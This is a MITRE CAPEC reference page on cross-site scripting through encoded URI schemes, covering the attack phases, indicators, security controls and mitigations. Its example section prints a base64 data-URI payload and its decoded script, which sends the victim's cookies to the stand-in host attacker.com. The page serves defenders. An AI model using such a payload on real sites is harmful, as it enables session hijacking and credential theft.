Home > CAPEC List > CAPEC-244: Cross-Site Scripting via Encoded URI Schemes (Version 2.6)  

CAPEC-244: Cross-Site Scripting via Encoded URI Schemes

 
Cross-Site Scripting via Encoded URI Schemes
Definition in a New Window Definition in a New Window
Attack Pattern ID: 244
Abstraction: Standard
Status: Draft
Completeness: Complete
Presentation Filter:
+ Summary

An attack of this type exploits the ability of most browsers to interpret "data", "javascript" or other URI schemes as client-side executable content placeholders. This attack consists of passing a malicious URI in an anchor tag HREF attribute or any other similar attributes in other HTML tags. Such malicious URI contains, for example, a base64 encoded HTML content with an embedded cross-site scripting payload. The attack is executed when the browser interprets the malicious content i.e., for example, when the victim clicks on the malicious link.

+ Attack Execution Flow
Explore
  1. Survey the application:

    Using a browser or an automated tool, an attacker follows all public links on a web site. He records all the links he finds.

    Attack Step Techniques

    IDAttack Step Technique DescriptionEnvironments
    1

    Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.

    env-Web
    2

    Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.

    env-Web
    3

    Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.

    env-Web

    Indicators

    IDTypeIndicator DescriptionEnvironments
    1Positive

    URL parameters are used by the application or the browser (DOM) in a context that is originally used for storing URL (anchor's "href", script's "src", etc.)

    env-Web
    2Inconclusive

    Using URL rewriting, parameters may be part of the URL path.

    env-Web
    3Inconclusive

    No parameters appear on the URL. Even though none appear, the web application may still use them if they are provided.

    env-Web
    4Negative

    Applications that have only static pages or that simply present information without accepting input are unlikely to be susceptible.

    env-Web
Experiment
  1. Attempt injection payload variations on input parameters:

    Possibly using an automated tool, an attacker requests variations on the inputs he surveyed before. He sends parameters that include variations of payloads. He records all the responses from the server that include unmodified versions of his script.

    Attack Step Techniques

    IDAttack Step Technique DescriptionEnvironments
    1

    Use a list of XSS probe strings using different URI schemes to inject in parameters of known URLs. If possible, the probe strings contain a unique identifier to trace the injected string back to the entry point.

    env-Web
    2

    Use a proxy tool to record results of manual input of XSS probes in known URLs.

    env-Web

    Indicators

    IDTypeIndicator DescriptionEnvironments
    1Positive

    Input parameters are printed back in a URL placeholder that support different URI schemes such as HREF, SRC, and other attributes

    env-Web
    2Inconclusive

    Nothing is returned to the web page. The payload may be a stored to be served later. The unique identifier from the probe helps to trace the flow of the possible XSS

    env-Web

    Outcomes

    IDTypeOutcome Description
    1Success
    The attacker's cross-site scripting string is included in the URI scheme content and can be triggered by a user (a victim in this case).
    2Failure
    Custom URI scheme aren't allowed by the application
    3Inconclusive
    Some sensitive characters are consistently encoded, but others are not

    Security Controls

    IDTypeSecurity Control Description
    1Detective
    Monitor input to web servers, application servers, and other HTTP infrastructure (e.g., load balancers). Alert on standard XSS probes. The majority of attackers use well-known strings to check for vulnerabilities. Use the same vulnerability catalogs that adversaries use.
    2Preventative
    Apply appropriate input validation to filter all user-controllable input of scripting syntax
    3Preventative
    Do not embed user-controllable input generated HTTP headers
    4Preventative
    Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes.
Exploit
  1. Steal session IDs, credentials, page content, etc.:

    As the attacker succeeds in exploiting the vulnerability, he can choose to steal user's credentials in order to reuse or to analyze them later on.

    Attack Step Techniques

    IDAttack Step Technique DescriptionEnvironments
    1

    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and sends document information to the attacker.

    env-Web
    2

    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute appropriately.

    env-Web

    Outcomes

    IDTypeOutcome Description
    1Success
    The attacker gets the user's cookies or other session identifiers.
    2Success
    The attacker gets the content of the page the user is viewing.
    3Success
    The attacker causes the user's browser to visit a page with malicious content.

    Security Controls

    IDTypeSecurity Control Description
    1Detective
    Monitor server logs for scripting parameters.
    2Detective
    Monitor server logs for referrers. If users are being tricked into clicking XSS links through forums or other web postings, their web browsers will be providing Referrer headers most of the time. These can help indicate that the actual request is illegitimate.
    3Preventative
    Apply appropriate input validation to filter all user-controllable input of scripting syntax
    4Preventative
    Appropriately encode all browser output to avoid scripting syntax
    5Preventative
    Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes.
  2. Forceful browsing:

    When the attacker targets the current application or another one (through CSRF vulnerabilities), the user will then be the one who perform the attacks without being aware of it. These attacks are mostly targeting application logic flaws, but it can also be used to create a widespread attack against a particular website on the user's current network (Internet or not).

    Attack Step Techniques

    IDAttack Step Technique DescriptionEnvironments
    1

    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and performs actions on the same web site

    env-Web
    2

    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute request to other web sites (especially the web applications that have CSRF vulnerabilities).

    env-Web

    Outcomes

    IDTypeOutcome Description
    1Success
    The attacker indirectly controls the user's browser and makes it performing actions exploiting CSRF.
    2Success
    The attacker manipulates the browser through the steps that he designed in his attack. The user, identified on a website, is now performing actions he is not aware of.

    Security Controls

    IDTypeSecurity Control Description
    1Detective
    Monitor server logs for scripting parameters.
    2Detective
    Monitor server logs for referrers. If users are being tricked into clicking XSS links through forums or other web postings, their web browsers will be providing Referrer headers most of the time. These can help indicate that the actual request is illegitimate.
    3Preventative
    Apply appropriate input validation to filter all user-controllable input of scripting syntax
    4Preventative
    Appropriately encode all browser output to avoid scripting syntax
    5Preventative
    Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes.
  3. Content spoofing:

    By manipulating the content, the attacker targets the information that the user would like to get from the website

    Attack Step Techniques

    IDAttack Step Technique DescriptionEnvironments
    1

    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and exposes attacker-modified invalid information to the user on the current web page.

    env-Web

    Outcomes

    IDTypeOutcome Description
    1Success
    The user sees a page containing wrong information

    Security Controls

    IDTypeSecurity Control Description
    1Detective
    Monitor server logs for scripting parameters.
    2Detective
    Monitor server logs for referrers. If users are being tricked into clicking XSS links through forums or other web postings, their web browsers will be providing Referrer headers most of the time. These can help indicate that the actual request is illegitimate.
    3Preventative
    Apply appropriate input validation to filter all user-controllable input of scripting syntax
    4Preventative
    Appropriately encode all browser output to avoid scripting syntax
    5Preventative
    Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes.
+ Attack Prerequisites
  • Target client software must allow scripting such as JavaScript and allows executable content delivered using a data URI scheme.

+ Typical Severity

High

+ Typical Likelihood of Exploit

Likelihood: High

+ Methods of Attack
  • Injection
  • Protocol Manipulation
+ Examples-Instances

Description

The following payload data:

text/html;base64,PGh0bWw+PGJvZHk+PHNjcmlwdD52YXIgaW1nID0gbmV3IEltYWdlKCk7IGltZy5zcmMgPSAiaHR0cDovL2F0dGFja2VyLmNvbS9jb29raWVncmFiYmVyPyIrIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5jb29raWVzKTs8L3NjcmlwdD48L2JvZHk+PC9odG1sPg==

represents a base64 encoded HTML and uses the data URI scheme to deliver it to the browser.

The decoded payload is the following piece of HTML code:

<html>
<body>
<script>
var img = new Image();
img.src = "http://attacker.com/cookiegrabber?"+ encodeURIComponent(document.cookies);
</script>
</body>
</html>

Web applications that take user controlled inputs and reflect them in URI HTML placeholder without a proper validation are at risk for such an attack.

An attacker could inject the previous payload that would be placed in a URI placeholder (for example in the anchor tag HREF attribute):

<a href="INJECTION_POINT">My Link</a>

Once the victim clicks on the link, the browser will decode and execute the content from the payload. This will result on the execution of the cross-site scripting attack.

+ Attacker Skills or Knowledge Required

Skill or Knowledge Level: Medium

To inject the malicious payload in a web page

+ Resources Required

Ability to send HTTP request to a web application

+ Solutions and Mitigations

Design: Use browser technologies that do not allow client side scripting.

Design: Utilize strict type, character, and encoding enforcement.

Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification.

Implementation: Ensure all content coming from the client is using the same encoding; if not, the server-side application must canonicalize the data before applying any filtering.

Implementation: Perform input validation for all remote content, including remote and user-generated content

Implementation: Perform output validation for all remote content.

Implementation: Disable scripting languages such as JavaScript in browser

Implementation: Patching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this.

+ Attack Motivation-Consequences
ScopeTechnical ImpactNote
Integrity
Modify files or directories
Confidentiality
Read files or directories
Integrity
Modify application data
Confidentiality
Read application data
Authorization
Execute unauthorized code or commands
Run Arbitrary Code
Accountability
Authentication
Authorization
Non-Repudiation
Gain privileges / assume identity
Access_Control
Authorization
Bypass protection mechanism
+ Injection Vector

Any HTTP Request transport variables (GET, POST, Headers, etc.)

+ Payload

XSS malicious script leveraging URI schemes

+ Activation Zone

Client web browser where script is executed

+ Payload Activation Impact

Client web browser may be used to steal session data, passwords, cookies, and other tokens.

+ Purposes
  • Exploitation
+ CIA Impact
Confidentiality Impact: HighIntegrity Impact: HighAvailability Impact: Low
+ Technical Context
Architectural Paradigms
Client-Server
n-Tier
Frameworks
All
Platforms
All
Languages
All
+ References
[R.244.1] [REF-4] "OWASP Testing Guide". Testing for Cross site scripting. v2. The Open Web Application Security Project (OWASP). <http://www.owasp.org/index.php/Testing_for_Cross_site_scripting>.
[R.244.2] "Google Cross-Site Scripting HOWTO article". Google. <http://code.google.com/p/doctype/wiki/ArticleXSSInUrlAttributes>.
[R.244.3] [REF-9] "OWASP Cheatsheets". XSS Filter Evasion Cheat Sheet. The Open Web Application Security Project (OWASP). <http://ha.ckers.org/xss.html>.
[R.244.4] [REF-1] "WASC Threat Classification 2.0". WASC-08 - Cross Site Scripting. The Web Application Security Consortium (WASC). 2010. <http://projects.webappsec.org/Cross-Site+Scripting>.
+ Content History
Submissions
SubmitterOrganizationDateSource
CAPEC Content TeamThe MITRE Corporation2014-06-23Internal_CAPEC_Team

More information is available — Please select a different filter.
Page Last Updated: December 04, 2014